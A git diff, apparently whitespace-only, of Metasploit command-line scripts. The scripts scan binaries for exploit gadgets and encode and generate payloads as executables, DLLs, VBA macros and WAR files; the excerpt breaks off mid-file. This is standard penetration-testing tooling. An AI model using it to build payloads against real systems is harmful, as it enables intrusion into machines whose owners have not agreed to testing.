a/msfelfscan b/msfelfscan index b4714307bbbc..fcbe9eeb358f 100755 --- a/msfelfscan +++ b/msfelfscan @@ -7,7 +7,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -24,7 +24,7 @@ require 'rex/arch/x86' require 'optparse' def opt2i(o) - o.index("0x")==0 ? o.hex : o.to_i + o.index("0x")==0 ? o.hex : o.to_i end opt = OptionParser.new @@ -37,96 +37,96 @@ worker = nil param = {} opt.on('-j', '--jump [regA,regB,regC]', 'Search for jump equivalent instructions') do |t| - # take csv of register names (like eax,ebx) and convert - # them to an array of register numbers - regnums = t.split(',').collect { |o| - begin - Rex::Arch::X86.reg_number(o) - rescue - puts "Invalid register \"#{o}\"" - exit(1) - end - } - worker = Rex::ElfScan::Scanner::JmpRegScanner - param['args'] = regnums + # take csv of register names (like eax,ebx) and convert + # them to an array of register numbers + regnums = t.split(',').collect { |o| + begin + Rex::Arch::X86.reg_number(o) + rescue + puts "Invalid register \"#{o}\"" + exit(1) + end + } + worker = Rex::ElfScan::Scanner::JmpRegScanner + param['args'] = regnums end opt.on('-p', '--poppopret', 'Search for pop+pop+ret combinations') do |t| - worker = Rex::ElfScan::Scanner::PopPopRetScanner - param['args'] = t + worker = Rex::ElfScan::Scanner::PopPopRetScanner + param['args'] = t end opt.on('-r', '--regex [regex]', 'Search for regex match') do |t| - worker = Rex::ElfScan::Scanner::RegexScanner - param['args'] = t + worker = Rex::ElfScan::Scanner::RegexScanner + param['args'] = t end opt.on('-a', '--analyze-address [address]', 'Display the code at the specified address') do |t| - worker = Rex::ElfScan::Search::DumpRVA - param['args'] = opt2i(t) + worker = Rex::ElfScan::Search::DumpRVA + param['args'] = opt2i(t) end opt.on('-b', '--analyze-offset [offset]', 'Display the code at the specified offset') do |t| - worker = Rex::ElfScan::Search::DumpOffset - param['args'] = opt2i(t) + worker = Rex::ElfScan::Search::DumpOffset + param['args'] = opt2i(t) end opt.separator('') opt.separator('Options:') opt.on('-A', '--after [bytes]', 'Number of bytes to show after match (-a/-b)') do |t| - param['after'] = opt2i(t) + param['after'] = opt2i(t) end opt.on('-B', '--before [bytes]', 'Number of bytes to show before match (-a/-b)') do |t| - param['before'] = opt2i(t) + param['before'] = opt2i(t) end opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase') do |t| - param['imagebase'] = opt2i(t) + param['imagebase'] = opt2i(t) end opt.on_tail("-h", "--help", "Show this message") do - puts opt - exit(1) + puts opt + exit(1) end begin - opt.parse! + opt.parse! rescue OptionParser::InvalidOption - puts "Invalid option, try -h for usage" - exit(1) + puts "Invalid option, try -h for usage" + exit(1) end if (! worker) - puts opt - exit(1) + puts opt + exit(1) end ARGV.each do |file| - param['file'] = file - - begin - elf = Rex::ElfParsey::Elf.new_from_file(file, true) - rescue Rex::ElfParsey::ElfHeaderError - if $!.message == 'Invalid magic number' - $stderr.puts("Skipping #{file}: #{$!}") - next - end - raise $! - rescue Errno::ENOENT - $stderr.puts("File does not exist: #{file}") - next - end - - if (param['imagebase']) - elf.base_addr = param['imagebase']; - end - - o = worker.new(elf) - o.scan(param) - - elf.close + param['file'] = file + + begin + elf = Rex::ElfParsey::Elf.new_from_file(file, true) + rescue Rex::ElfParsey::ElfHeaderError + if $!.message == 'Invalid magic number' + $stderr.puts("Skipping #{file}: #{$!}") + next + end + raise $! + rescue Errno::ENOENT + $stderr.puts("File does not exist: #{file}") + next + end + + if (param['imagebase']) + elf.base_addr = param['imagebase']; + end + + o = worker.new(elf) + o.scan(param) + + elf.close end diff --git a/msfencode b/msfencode index a147a1209ae0..33d6fc8e102a 100755 --- a/msfencode +++ b/msfencode @@ -7,7 +7,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -29,89 +29,89 @@ OutError = "[-] " supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats $args = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner" ], - "-l" => [ false, "List available encoders" ], - "-v" => [ false, "Increase verbosity" ], - # input/output - "-i" => [ true, "Encode the contents of the supplied file path" ], - "-m" => [ true, "Specifies an additional module search path" ], - "-o" => [ true, "The output file" ], - # architecture/platform - "-a" => [ true, "The architecture to encode as" ], - "-p" => [ true, "The platform to encode for" ], - # format options - "-t" => [ true, "The output format: #{supported_formats.join(',')}" ], - # encoder options - "-e" => [ true, "The encoder to use" ], - "-n" => [ false, "Dump encoder information" ], - "-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ], - "-s" => [ true, "The maximum size of the encoded data" ], - "-c" => [ true, "The number of times to encode the data" ], - # EXE generation options - "-d" => [ true, "Specify the directory in which to look for EXE templates" ], - "-x" => [ true, "Specify an alternate executable template" ], - "-k" => [ false, "Keep template working; run payload in new thread (use with -x)" ] + "-h" => [ false, "Help banner" ], + "-l" => [ false, "List available encoders" ], + "-v" => [ false, "Increase verbosity" ], + # input/output + "-i" => [ true, "Encode the contents of the supplied file path" ], + "-m" => [ true, "Specifies an additional module search path" ], + "-o" => [ true, "The output file" ], + # architecture/platform + "-a" => [ true, "The architecture to encode as" ], + "-p" => [ true, "The platform to encode for" ], + # format options + "-t" => [ true, "The output format: #{supported_formats.join(',')}" ], + # encoder options + "-e" => [ true, "The encoder to use" ], + "-n" => [ false, "Dump encoder information" ], + "-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ], + "-s" => [ true, "The maximum size of the encoded data" ], + "-c" => [ true, "The number of times to encode the data" ], + # EXE generation options + "-d" => [ true, "Specify the directory in which to look for EXE templates" ], + "-x" => [ true, "Specify an alternate executable template" ], + "-k" => [ false, "Keep template working; run payload in new thread (use with -x)" ] ) # # Dump the list of encoders # def dump_encoders(arch = nil) - tbl = Rex::Ui::Text::Table.new( - 'Indent' => 4, - 'Header' => "Framework Encoders" + ((arch) ? " (architectures: #{arch})" : ""), - 'Columns' => - [ - "Name", - "Rank", - "Description" - ]) - cnt = 0 - - $framework.encoders.each_module( - 'Arch' => arch ? arch.split(',') : nil) { |name, mod| - tbl << [ name, mod.rank_to_s, mod.new.name ] - - cnt += 1 - } - - (cnt > 0) ? "\n" + tbl.to_s + "\n" : "\nNo compatible encoders found.\n\n" + tbl = Rex::Ui::Text::Table.new( + 'Indent' => 4, + 'Header' => "Framework Encoders" + ((arch) ? " (architectures: #{arch})" : ""), + 'Columns' => + [ + "Name", + "Rank", + "Description" + ]) + cnt = 0 + + $framework.encoders.each_module( + 'Arch' => arch ? arch.split(',') : nil) { |name, mod| + tbl << [ name, mod.rank_to_s, mod.new.name ] + + cnt += 1 + } + + (cnt > 0) ? "\n" + tbl.to_s + "\n" : "\nNo compatible encoders found.\n\n" end # # Returns the list of encoders to try # def get_encoders(arch, encoder) - encoders = [] - - if (encoder) - encoders << $framework.encoders.create(encoder) - else - $framework.encoders.each_module_ranked( - 'Arch' => arch ? arch.split(',') : nil) { |name, mod| - encoders << mod.new - } - end - - encoders + encoders = [] + + if (encoder) + encoders << $framework.encoders.create(encoder) + else + $framework.encoders.each_module_ranked( + 'Arch' => arch ? arch.split(',') : nil) { |name, mod| + encoders << mod.new + } + end + + encoders end # # Nuff said. # def usage - $stderr.puts("\n" + " Usage: #{$0} \n" + $args.usage) - exit + $stderr.puts("\n" + " Usage: #{$0} \n" + $args.usage) + exit end def write_encoded(buf) - if (not $output) - $stdout.write(buf) - else - File.open($output, "wb") do |fd| - fd.write(buf) - end - end + if (not $output) + $stdout.write(buf) + else + File.open($output, "wb") do |fd| + fd.write(buf) + end + end end # Defaults @@ -135,84 +135,84 @@ exedir = nil # use default # Parse the argument and rock that shit. $args.parse(ARGV) { |opt, idx, val| - case opt - when "-i" - begin - input = File.open(val, 'rb') - rescue - $stderr.puts(OutError + "Failed to open file #{val}: #{$!}") - exit - end - when "-m" - $framework.modules.add_module_path(val) - when "-l" - cmd = "list" - when "-n" - cmd = "dump" - when "-a" - arch = val - when "-c" - ecount = val.to_i - when "-b" - badchars = Rex::Text.hex_to_raw(val) - when "-p" - plat = Msf::Module::PlatformList.transform(val) - when "-s" - space = val.to_i - when "-t" - if supported_formats.include?(val) - fmt = val - else - $stderr.puts(OutError + "Invalid format: #{val}") - exit - end - when "-o" - $output = val - when "-e" - encoder = val - - when "-d" - exedir = val - when "-x" - altexe = val - when "-k" - inject = true - - when "-h" - usage - - when "-v" - verbose += 1 - - else - if (val =~ /=/) - options += ((options.length > 0) ? delim : "") + "#{val}" - end - end + case opt + when "-i" + begin + input = File.open(val, 'rb') + rescue + $stderr.puts(OutError + "Failed to open file #{val}: #{$!}") + exit + end + when "-m" + $framework.modules.add_module_path(val) + when "-l" + cmd = "list" + when "-n" + cmd = "dump" + when "-a" + arch = val + when "-c" + ecount = val.to_i + when "-b" + badchars = Rex::Text.hex_to_raw(val) + when "-p" + plat = Msf::Module::PlatformList.transform(val) + when "-s" + space = val.to_i + when "-t" + if supported_formats.include?(val) + fmt = val + else + $stderr.puts(OutError + "Invalid format: #{val}") + exit + end + when "-o" + $output = val + when "-e" + encoder = val + + when "-d" + exedir = val + when "-x" + altexe = val + when "-k" + inject = true + + when "-h" + usage + + when "-v" + verbose += 1 + + else + if (val =~ /=/) + options += ((options.length > 0) ? delim : "") + "#{val}" + end + end } if(not fmt and output) - pre,ext = output.split('.') - if(ext and not ext.empty?) - fmt = ext - end + pre,ext = output.split('.') + if(ext and not ext.empty?) + fmt = ext + end end if inject and not altexe - $stderr.puts "[*] Error: the injection option must use a custom EXE template via -x, otherwise the injected payload will immediately exit when the main process dies." - exit(1) + $stderr.puts "[*] Error: the injection option must use a custom EXE template via -x, otherwise the injected payload will immediately exit when the main process dies." + exit(1) end exeopts = { - :inject => inject, - :template => altexe, - :template_path => exedir + :inject => inject, + :template => altexe, + :template_path => exedir } # Initialize the simplified framework instance. $framework = Msf::Simple::Framework.create( - :module_types => [ Msf::MODULE_ENCODER, Msf::MODULE_NOP ], - 'DisableDatabase' => true + :module_types => [ Msf::MODULE_ENCODER, Msf::MODULE_NOP ], + 'DisableDatabase' => true ) # Get the list of encoders to try @@ -220,81 +220,81 @@ encoders = get_encoders(arch, encoder) # Process the actual command case cmd - when "list" - $stderr.puts(dump_encoders(arch)) - when "dump" - enc = encoder ? $framework.encoders.create(encoder) : nil - - if (enc) - $stderr.puts(Msf::Serializer::ReadableText.dump_module(enc)) - else - $stderr.puts(OutError + "Invalid encoder specified.") - end - when "encode" - input.binmode # ensure its in binary mode - buf = input.read - - encoders.each { |enc| - next if not enc - begin - # Imports options - enc.datastore.import_options_from_s(options, delim) - - skip = false - eout = buf.dup - raw = nil - - 1.upto(ecount) do |iteration| - - # Encode it up - raw = enc.encode(eout, badchars, nil, plat) - - # Is it too big? - if (space and space > 0 and raw.length > space) - $stderr.puts(OutError + "#{enc.refname} created buffer that is too big (#{raw.length})") - skip = true - break - end - - # Print it out - $stderr.puts(OutStatus + "#{enc.refname} succeeded with size #{raw.length} (iteration=#{iteration})\n\n") - eout = raw - end - - next if skip - - output = Msf::Util::EXE.to_executable_fmt($framework, arch, plat, raw, fmt, exeopts) - - if not output - fmt ||= "ruby" - output = Msf::Simple::Buffer.transform(raw, fmt) - end - - if exeopts[:fellback] - $stderr.puts(OutError + "Warning: Falling back to default template: #{exeopts[:fellback]}") - end - - write_encoded(output) - - exit - - # - # These exception codes are fatal, we shouldn't expect them to succeed on the next - # iteration, nor the next encoder. - # - rescue ::Errno::ENOENT, ::Errno::EINVAL - $stderr.puts(OutError + "#{enc.refname} failed: #{$!}") - break - - rescue => e - $stderr.puts(OutError + "#{enc.refname} failed: #{e}") - if verbose > 0 - e.backtrace.each { |el| - $stderr.puts(OutError + el.to_s) - } - end - end - } - - $stderr.puts(OutError + "No encoders succeeded.") + when "list" + $stderr.puts(dump_encoders(arch)) + when "dump" + enc = encoder ? $framework.encoders.create(encoder) : nil + + if (enc) + $stderr.puts(Msf::Serializer::ReadableText.dump_module(enc)) + else + $stderr.puts(OutError + "Invalid encoder specified.") + end + when "encode" + input.binmode # ensure its in binary mode + buf = input.read + + encoders.each { |enc| + next if not enc + begin + # Imports options + enc.datastore.import_options_from_s(options, delim) + + skip = false + eout = buf.dup + raw = nil + + 1.upto(ecount) do |iteration| + + # Encode it up + raw = enc.encode(eout, badchars, nil, plat) + + # Is it too big? + if (space and space > 0 and raw.length > space) + $stderr.puts(OutError + "#{enc.refname} created buffer that is too big (#{raw.length})") + skip = true + break + end + + # Print it out + $stderr.puts(OutStatus + "#{enc.refname} succeeded with size #{raw.length} (iteration=#{iteration})\n\n") + eout = raw + end + + next if skip + + output = Msf::Util::EXE.to_executable_fmt($framework, arch, plat, raw, fmt, exeopts) + + if not output + fmt ||= "ruby" + output = Msf::Simple::Buffer.transform(raw, fmt) + end + + if exeopts[:fellback] + $stderr.puts(OutError + "Warning: Falling back to default template: #{exeopts[:fellback]}") + end + + write_encoded(output) + + exit + + # + # These exception codes are fatal, we shouldn't expect them to succeed on the next + # iteration, nor the next encoder. + # + rescue ::Errno::ENOENT, ::Errno::EINVAL + $stderr.puts(OutError + "#{enc.refname} failed: #{$!}") + break + + rescue => e + $stderr.puts(OutError + "#{enc.refname} failed: #{e}") + if verbose > 0 + e.backtrace.each { |el| + $stderr.puts(OutError + el.to_s) + } + end + end + } + + $stderr.puts(OutError + "No encoders succeeded.") end diff --git a/msfmachscan b/msfmachscan index b3b7701f43bd..9669982207f8 100755 --- a/msfmachscan +++ b/msfmachscan @@ -7,7 +7,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -25,7 +25,7 @@ require 'optparse' def opt2i(o) - o.index("0x")==0 ? o.hex : o.to_i + o.index("0x")==0 ? o.hex : o.to_i end opt = OptionParser.new @@ -38,80 +38,80 @@ worker = nil param = {} opt.on('-j', '--jump [regA,regB,regC]', 'Search for jump equivalent instructions') do |t| - # take csv of register names (like eax,ebx) and convert - # them to an array of register numbers - regnums = t.split(',').collect { |o| - begin - Rex::Arch::X86.reg_number(o) - rescue - puts "Invalid register \"#{o}\"" - exit(1) - end - } - worker = Rex::MachScan::Scanner::JmpRegScanner - param['args'] = regnums + # take csv of register names (like eax,ebx) and convert + # them to an array of register numbers + regnums = t.split(',').collect { |o| + begin + Rex::Arch::X86.reg_number(o) + rescue + puts "Invalid register \"#{o}\"" + exit(1) + end + } + worker = Rex::MachScan::Scanner::JmpRegScanner + param['args'] = regnums end opt.on('-p', '--poppopret', 'Search for pop+pop+ret combinations') do |t| - worker = Rex::MachScan::Scanner::PopPopRetScanner - param['args'] = t + worker = Rex::MachScan::Scanner::PopPopRetScanner + param['args'] = t end opt.on('-r', '--regex [regex]', 'Search for regex match') do |t| - worker = Rex::MachScan::Scanner::RegexScanner - param['args'] = t + worker = Rex::MachScan::Scanner::RegexScanner + param['args'] = t end opt.separator('') opt.separator('Options:') opt.on('-A', '--after [bytes]', 'Number of bytes to show after match (-a/-b)') do |t| - param['after'] = opt2i(t) + param['after'] = opt2i(t) end opt.on('-B', '--before [bytes]', 'Number of bytes to show before match (-a/-b)') do |t| - param['before'] = opt2i(t) + param['before'] = opt2i(t) end opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase') do |t| - param['imagebase'] = opt2i(t) + param['imagebase'] = opt2i(t) end opt.on_tail("-h", "--help", "Show this message") do - puts opt - exit(1) + puts opt + exit(1) end begin - opt.parse! + opt.parse! rescue OptionParser::InvalidOption - puts "Invalid option, try -h for usage" - exit(1) + puts "Invalid option, try -h for usage" + exit(1) end if (! worker) - puts opt - exit(1) + puts opt + exit(1) end ARGV.each do |file| - param['file'] = file - - begin - mach = Rex::MachParsey::Mach.new_from_file(file, true) - o = worker.new(mach) - o.scan(param) - mach.close - rescue Rex::MachParsey::MachHeaderError - $stderr.puts("File is not a Mach-O binary, trying Fat..\n") - fat = Rex::MachParsey::Fat.new_from_file(file, true) - o = worker.new(fat) - o.scan(param) - fat.close - rescue Errno::ENOENT - $stderr.puts("File does not exist: #{file}") - next - end + param['file'] = file + + begin + mach = Rex::MachParsey::Mach.new_from_file(file, true) + o = worker.new(mach) + o.scan(param) + mach.close + rescue Rex::MachParsey::MachHeaderError + $stderr.puts("File is not a Mach-O binary, trying Fat..\n") + fat = Rex::MachParsey::Fat.new_from_file(file, true) + o = worker.new(fat) + o.scan(param) + fat.close + rescue Errno::ENOENT + $stderr.puts("File does not exist: #{file}") + next + end end diff --git a/msfpayload b/msfpayload index 7dfb20caee56..62e41e01e3a5 100755 --- a/msfpayload +++ b/msfpayload @@ -7,7 +7,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -21,18 +21,18 @@ $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] require 'rex' $args = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner" ], - "-l" => [ false, "List available payloads" ] + "-h" => [ false, "Help banner" ], + "-l" => [ false, "List available payloads" ] ) # # Nuff said. # def usage - $stderr.puts("\n" + - " Usage: #{$0} [] [var=val] <[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]>\n" + - $args.usage) - exit + $stderr.puts("\n" + + " Usage: #{$0} [] [var=val] <[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]>\n" + + $args.usage) + exit end cmd = nil @@ -40,22 +40,22 @@ rest = [] # Parse the argument and rock that shit. $args.parse(ARGV) { |opt, idx, val| - #puts "opt[%d]: #{opt.inspect} / #{val.inspect}" % idx + #puts "opt[%d]: #{opt.inspect} / #{val.inspect}" % idx - case opt - when "-l" - cmd = "list" - break + case opt + when "-l" + cmd = "list" + break - # Non-option (don't begin with '-') are processed here - when nil - rest << val + # Non-option (don't begin with '-') are processed here + when nil + rest << val - end + end } if (cmd != "list" and rest.length < 2) - usage + usage end require 'msf/ui' @@ -65,31 +65,31 @@ require 'msf/base' # Dump the list of payloads # def dump_payloads - tbl = Rex::Ui::Text::Table.new( - 'Indent' => 4, - 'Header' => "Framework Payloads (#{$framework.stats.num_payloads} total)", - 'Columns' => - [ - "Name", - "Description" - ]) - - $framework.payloads.each_module { |name, mod| - tbl << [ name, mod.new.description ] - } - - "\n" + tbl.to_s + "\n" + tbl = Rex::Ui::Text::Table.new( + 'Indent' => 4, + 'Header' => "Framework Payloads (#{$framework.stats.num_payloads} total)", + 'Columns' => + [ + "Name", + "Description" + ]) + + $framework.payloads.each_module { |name, mod| + tbl << [ name, mod.new.description ] + } + + "\n" + tbl.to_s + "\n" end # Initialize the simplified framework instance. $framework = Msf::Simple::Framework.create( - :module_types => [ Msf::MODULE_PAYLOAD, Msf::MODULE_NOP ], - 'DisableDatabase' => true + :module_types => [ Msf::MODULE_PAYLOAD, Msf::MODULE_NOP ], + 'DisableDatabase' => true ) if cmd == "list" - puts dump_payloads - exit + puts dump_payloads + exit end @@ -103,8 +103,8 @@ Msf::Ui::Common.process_cli_arguments($framework, rest) payload = $framework.payloads.create(payload_name) if (payload == nil) - $stderr.puts "Invalid payload: #{payload_name}" - exit + $stderr.puts "Invalid payload: #{payload_name}" + exit end # Evalulate the command @@ -113,130 +113,130 @@ cmd = rest.pop.downcase # Populate the framework datastore options = {} rest.each do |x| - k,v = x.split("=", 2) - options[k] = v.to_s + k,v = x.split("=", 2) + options[k] = v.to_s end payload.datastore.merge! options if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/) - fmt = 'perl' if (cmd =~ /^p$/) - fmt = 'ruby' if (cmd =~ /^y$/) - fmt = 'raw' if (cmd =~ /^(r|x|d)$/) - fmt = 'raw' if (cmd =~ /^v$/) - fmt = 'c' if (cmd =~ /^c$/) - fmt = 'csharp' if (cmd =~ /^h$/) - fmt = 'js_be' if (cmd =~ /^j$/ and Rex::Arch.endian(payload.arch) == ENDIAN_BIG) - fmt = 'js_le' if (cmd =~ /^j$/ and ! fmt) - fmt = 'java' if (cmd =~ /^b$/) - fmt = 'raw' if (cmd =~ /^w$/) - fmt = 'python' if (cmd =~ /^n$/) - enc = options['ENCODER'] - - begin - buf = payload.generate_simple( - 'Format' => fmt, - 'Options' => options, - 'Encoder' => enc) - rescue - $stderr.puts "Error generating payload: #{$!}" - exit - end - - $stdout.binmode - - if (cmd =~ /^x$/) - note = - "Created by msfpayload (http://www.metasploit.com).\n" + - "Payload: " + payload.refname + "\n" + - " Length: " + buf.length.to_s + "\n" + - "Options: " + options.inspect + "\n" - - arch = payload.arch - plat = payload.platform.platforms - - exe = Msf::Util::EXE.to_executable($framework, arch, plat, buf) - - if(!exe and plat.index(Msf::Module::Platform::Java)) - exe = payload.generate_jar.pack - end - - if(exe) - $stderr.puts(note) - $stdout.write(exe) - exit(0) - end - - $stderr.puts "No executable format support for this arch/platform" - exit(-1) - end - - if(cmd =~ /^v$/) - exe = Msf::Util::EXE.to_win32pe($framework, buf) - note = - "'Created by msfpayload (http://www.metasploit.com).\r\n" + - "'Payload: " + payload.refname + "\r\n" + - "' Length: " + buf.length.to_s + "\r\n" + - "'Options: " + options.inspect + "\r\n" - - vba = note + "\r\n" + Msf::Util::EXE.to_exe_vba(exe) - $stdout.write(vba) - exit(0) - end - - if(cmd =~ /^d$/) - dll = Msf::Util::EXE.to_win32pe_dll($framework, buf) - note = - "Created by msfpayload (http://www.metasploit.com).\r\n" + - "Payload: " + payload.refname + "\r\n" + - " Length: " + buf.length.to_s + "\r\n" + - "Options: " + options.inspect + "\r\n" - - if(dll) - $stderr.puts(note) - $stdout.write(dll) - exit(0) - end - - $stderr.puts "Failed to build dll" - exit(-1) - end - - if(cmd =~ /^w$/) - note = - "Created by msfpayload (http://www.metasploit.com).\n" + - "Payload: " + payload.refname + "\n" + - " Length: " + buf.length.to_s + "\n" + - "Options: " + options.inspect + "\n" - - arch = payload.arch - plat = payload.platform.platforms - - exe = Msf::Util::EXE.to_executable($framework, arch, plat, buf) - if(!exe and plat.index(Msf::Module::Platform::Java)) - exe = payload.generate_war.pack - else - exe = Msf::Util::EXE.to_jsp_war(exe) - end - - - if(exe) - $stderr.puts(note) - $stdout.write(exe) - exit(0) - end - - $stderr.puts "No executable format support for this arch/platform" - exit(-1) - end - - $stdout.write(buf) + fmt = 'perl' if (cmd =~ /^p$/) + fmt = 'ruby' if (cmd =~ /^y$/) + fmt = 'raw' if (cmd =~ /^(r|x|d)$/) + fmt = 'raw' if (cmd =~ /^v$/) + fmt = 'c' if (cmd =~ /^c$/) + fmt = 'csharp' if (cmd =~ /^h$/) + fmt = 'js_be' if (cmd =~ /^j$/ and Rex::Arch.endian(payload.arch) == ENDIAN_BIG) + fmt = 'js_le' if (cmd =~ /^j$/ and ! fmt) + fmt = 'java' if (cmd =~ /^b$/) + fmt = 'raw' if (cmd =~ /^w$/) + fmt = 'python' if (cmd =~ /^n$/) + enc = options['ENCODER'] + + begin + buf = payload.generate_simple( + 'Format' => fmt, + 'Options' => options, + 'Encoder' => enc) + rescue + $stderr.puts "Error generating payload: #{$!}" + exit + end + + $stdout.binmode + + if (cmd =~ /^x$/) + note = + "Created by msfpayload (http://www.metasploit.com).\n" + + "Payload: " + payload.refname + "\n" + + " Length: " + buf.length.to_s + "\n" + + "Options: " + options.inspect + "\n" + + arch = payload.arch + plat = payload.platform.platforms + + exe = Msf::Util::EXE.to_executable($framework, arch, plat, buf) + + if(!exe and plat.index(Msf::Module::Platform::Java)) + exe = payload.generate_jar.pack + end + + if(exe) + $stderr.puts(note) + $stdout.write(exe) + exit(0) + end + + $stderr.puts "No executable format support for this arch/platform" + exit(-1) + end + + if(cmd =~ /^v$/) + exe = Msf::Util::EXE.to_win32pe($framework, buf) + note = + "'Created by msfpayload (http://www.metasploit.com).\r\n" + + "'Payload: " + payload.refname + "\r\n" + + "' Length: " + buf.length.to_s + "\r\n" + + "'Options: " + options.inspect + "\r\n" + + vba = note + "\r\n" + Msf::Util::EXE.to_exe_vba(exe) + $stdout.write(vba) + exit(0) + end + + if(cmd =~ /^d$/) + dll = Msf::Util::EXE.to_win32pe_dll($framework, buf) + note = + "Created by msfpayload (http://www.metasploit.com).\r\n" + + "Payload: " + payload.refname + "\r\n" + + " Length: " + buf.length.to_s + "\r\n" + + "Options: " + options.inspect + "\r\n" + + if(dll) + $stderr.puts(note) + $stdout.write(dll) + exit(0) + end + + $stderr.puts "Failed to build dll" + exit(-1) + end + + if(cmd =~ /^w$/) + note = + "Created by msfpayload (http://www.metasploit.com).\n" + + "Payload: " + payload.refname + "\n" + + " Length: " + buf.length.to_s + "\n" + + "Options: " + options.inspect + "\n" + + arch = payload.arch + plat = payload.platform.platforms + + exe = Msf::Util::EXE.to_executable($framework, arch, plat, buf) + if(!exe and plat.index(Msf::Module::Platform::Java)) + exe = payload.generate_war.pack + else + exe = Msf::Util::EXE.to_jsp_war(exe) + end + + + if(exe) + $stderr.puts(note) + $stdout.write(exe) + exit(0) + end + + $stderr.puts "No executable format support for this arch/platform" + exit(-1) + end + + $stdout.write(buf) elsif (cmd =~ /^(s|o)$/) - payload.datastore.import_options_from_s(rest.join('_|_'), '_|_') - puts Msf::Serializer::ReadableText.dump_module(payload) + payload.datastore.import_options_from_s(rest.join('_|_'), '_|_') + puts Msf::Serializer::ReadableText.dump_module(payload) else - $stderr.puts "Invalid command: #{cmd.inspect}" + $stderr.puts "Invalid command: #{cmd.inspect}" end diff --git a/msfpescan b/msfpescan index 33ce327765d7..4c73c55e1751 100755 --- a/msfpescan +++ b/msfpescan @@ -7,7 +7,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -24,7 +24,7 @@ require 'rex/arch/x86' require 'optparse' def opt2i(o) - o.index("0x")==0 ? o.hex : o.to_i + o.index("0x")==0 ? o.hex : o.to_i end @@ -50,102 +50,102 @@ param = {} pe_klass = Rex::PeParsey::Pe opt.on('-j', '--jump [regA,regB,regC]', 'Search for jump equivalent instructions') do |t| - # take csv of register names (like eax,ebx) and convert - # them to an array of register numbers - regnums = t.split(',').collect { |o| - begin - Rex::Arch::X86.reg_number(o) - rescue - puts "Invalid register \"#{o}\"" - exit(1) - end - } - worker = Rex::PeScan::Scanner::JmpRegScanner - param['args'] = regnums + # take csv of register names (like eax,ebx) and convert + # them to an array of register numbers + regnums = t.split(',').collect { |o| + begin + Rex::Arch::X86.reg_number(o) + rescue + puts "Invalid register \"#{o}\"" + exit(1) + end + } + worker = Rex::PeScan::Scanner::JmpRegScanner + param['args'] = regnums end opt.on('-p', '--poppopret', 'Search for pop+pop+ret combinations') do |t| - worker = Rex::PeScan::Scanner::PopPopRetScanner - param['args'] = t + worker = Rex::PeScan::Scanner::PopPopRetScanner + param['args'] = t end opt.on('-r', '--regex [regex]', 'Search for regex match') do |t| - worker = Rex::PeScan::Scanner::RegexScanner - param['args'] = t + worker = Rex::PeScan::Scanner::RegexScanner + param['args'] = t end opt.on('-a', '--analyze-address [address]', 'Display the code at the specified address') do |t| - worker = Rex::PeScan::Search::DumpRVA - param['args'] = opt2i(t) + worker = Rex::PeScan::Search::DumpRVA + param['args'] = opt2i(t) end opt.on('-b', '--analyze-offset [offset]', 'Display the code at the specified offset') do |t| - worker = Rex::PeScan::Search::DumpOffset - param['args'] = opt2i(t) + worker = Rex::PeScan::Search::DumpOffset + param['args'] = opt2i(t) end opt.on('-f', '--fingerprint', 'Attempt to identify the packer/compiler') do |t| - worker = Rex::PeScan::Analyze::Fingerprint - param['database'] = File.join(File.dirname(msfbase), 'data', 'msfpescan', 'identify.txt') + worker = Rex::PeScan::Analyze::Fingerprint + param['database'] = File.join(File.dirname(msfbase), 'data', 'msfpescan', 'identify.txt') end opt.on('-i', '--info', 'Display detailed information about the image') do |t| - worker = Rex::PeScan::Analyze::Information + worker = Rex::PeScan::Analyze::Information end opt.on('-R', '--ripper [directory]', 'Rip all module resources to disk ') do |t| - worker = Rex::PeScan::Analyze::Ripper - param['dir'] = t + worker = Rex::PeScan::Analyze::Ripper + param['dir'] = t end opt.on('--context-map [directory]', 'Generate context-map files') do |t| - worker = Rex::PeScan::Analyze::ContextMapDumper - param['dir'] = t + worker = Rex::PeScan::Analyze::ContextMapDumper + param['dir'] = t end opt.separator('') opt.separator('Options:') opt.on('-M', '--memdump', 'The targets are memdump.exe directories') do |t| - pe_klass = Rex::PeParsey::PeMemDump + pe_klass = Rex::PeParsey::PeMemDump end opt.on('-A', '--after [bytes]', 'Number of bytes to show after match (-a/-b)') do |t| - param['after'] = opt2i(t) + param['after'] = opt2i(t) end opt.on('-B', '--before [bytes]', 'Number of bytes to show before match (-a/-b)') do |t| - param['before'] = opt2i(t) + param['before'] = opt2i(t) end opt.on('-D', 